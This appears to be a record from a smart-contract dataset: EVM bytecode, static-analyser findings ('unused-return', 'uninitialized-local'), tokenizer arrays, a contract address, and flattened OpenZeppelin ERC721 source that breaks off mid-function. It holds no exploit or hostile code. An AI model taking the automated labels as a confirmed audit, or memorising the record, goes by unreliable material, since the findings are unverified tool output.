a73565b9350612d6e818560208601613bde565b612d7781613d79565b840191505092915050565b6000612d8d82613a50565b612d978185613a84565b9350612da7818560208601613bde565b612db081613d79565b840191505092915050565b6000612dc682613a50565b612dd08185613a95565b9350612de0818560208601613bde565b80840191505092915050565b60008154612df981613c11565b612e038186613a95565b94506001821660008114612e1e5760018114612e2f57612e62565b60ff19831686528186019350612e62565b612e3885613a25565b60005b83811015612e5a57815481890152600182019150602081019050612e3b565b838801955050505b50505092915050565b6000612e78602783613a84565b91507f45766f6c7574696f6e4d696e7465723a2045766f6c7574696f6e206973206e6f60008301527f742076616c6964000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ede602b83613a84565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000612f44603283613a84565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000612faa602683613a84565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613010601c83613a84565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000613050602483613a84565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130b6601983613a84565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b60006130f6603183613a84565b91507f45766f6c7574696f6e4d696e7465723a2045766f6c76696e67206973206e6f7460008301527f20616374697665207269676874206e6f770000000000000000000000000000006020830152604082019050919050565b600061315c602c83613a84565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006131c2603883613a84565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000613228602a83613a84565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b600061328e602983613a84565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006132f4602083613a84565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000613334602c83613a84565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061339a602083613a84565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006133da602983613a84565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613440602183613a84565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006134a6603183613a84565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b600061350c602c83613a84565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b61356e81613bc5565b82525050565b61357d81613bc5565b82525050565b600061358f8285612dec565b915061359b8284612dbb565b91508190509392505050565b60006020820190506135bc6000830184612cd4565b92915050565b60006060820190506135d76000830186612cd4565b6135e46020830185612cd4565b6135f16040830184613574565b949350505050565b600060808201905061360e6000830187612cd4565b61361b6020830186612cd4565b6136286040830185613574565b818103606083015261363a8184612d49565b905095945050505050565b600060c08201905061365a6000830187612cd4565b6136676020830186613574565b6136746040830185612ce3565b81810360a08301526136868184612d49565b905095945050505050565b60006060820190506136a66000830184612ce3565b92915050565b60006020820190506136c16000830184612d3a565b92915050565b600060208201905081810360008301526136e18184612d82565b905092915050565b6000602082019050818103600083015261370281612e6b565b9050919050565b6000602082019050818103600083015261372281612ed1565b9050919050565b6000602082019050818103600083015261374281612f37565b9050919050565b6000602082019050818103600083015261376281612f9d565b9050919050565b6000602082019050818103600083015261378281613003565b9050919050565b600060208201905081810360008301526137a281613043565b9050919050565b600060208201905081810360008301526137c2816130a9565b9050919050565b600060208201905081810360008301526137e2816130e9565b9050919050565b600060208201905081810360008301526138028161314f565b9050919050565b60006020820190508181036000830152613822816131b5565b9050919050565b600060208201905081810360008301526138428161321b565b9050919050565b6000602082019050818103600083015261386281613281565b9050919050565b60006020820190508181036000830152613882816132e7565b9050919050565b600060208201905081810360008301526138a281613327565b9050919050565b600060208201905081810360008301526138c28161338d565b9050919050565b600060208201905081810360008301526138e2816133cd565b9050919050565b6000602082019050818103600083015261390281613433565b9050919050565b6000602082019050818103600083015261392281613499565b9050919050565b60006020820190508181036000830152613942816134ff565b9050919050565b600060208201905061395e6000830184613574565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561398b5761398a613d4a565b5b8060405250919050565b600067ffffffffffffffff8211156139b0576139af613d4a565b5b602082029050919050565b600067ffffffffffffffff8211156139d6576139d5613d4a565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115613a0657613a05613d4a565b5b601f19601f8301169050602081019050919050565b6000819050919050565b60008190508160005260206000209050919050565b600060039050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613aab82613bc5565b9150613ab683613bc5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aeb57613aea613cbd565b5b828201905092915050565b6000613b0182613bc5565b9150613b0c83613bc5565b925082613b1c57613b1b613cec565b5b828204905092915050565b6000613b3282613bc5565b9150613b3d83613bc5565b925082821015613b5057613b4f613cbd565b5b828203905092915050565b6000613b6682613ba5565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613bfc578082015181840152602081019050613be1565b83811115613c0b576000848401525b50505050565b60006002820490506001821680613c2957607f821691505b60208210811415613c3d57613c3c613d1b565b5b50919050565b6000613c4e82613bc5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c8157613c80613cbd565b5b600182019050919050565b6000613c9782613bc5565b9150613ca283613bc5565b925082613cb257613cb1613cec565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b613d9381613b5b565b8114613d9e57600080fd5b50565b613daa81613b6d565b8114613db557600080fd5b50565b613dc181613b79565b8114613dcc57600080fd5b50565b613dd881613bc5565b8114613de357600080fd5b5056fea26469706673582212209d4e3a01339062ba1f210a8011c6860cf6d646b1259dc6423e114d581175082664736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 18939, 2487, 2497, 22932, 2683, 2050, 24096, 2692, 2629, 2497, 2683, 3401, 2581, 2509, 4246, 2546, 16576, 2278, 2692, 29292, 2475, 2063, 28756, 2620, 2546, 2692, 2509, 2278, 2546, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,871
0x95db40084516e2897e3a5cba0c4f0c665004d14b
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, 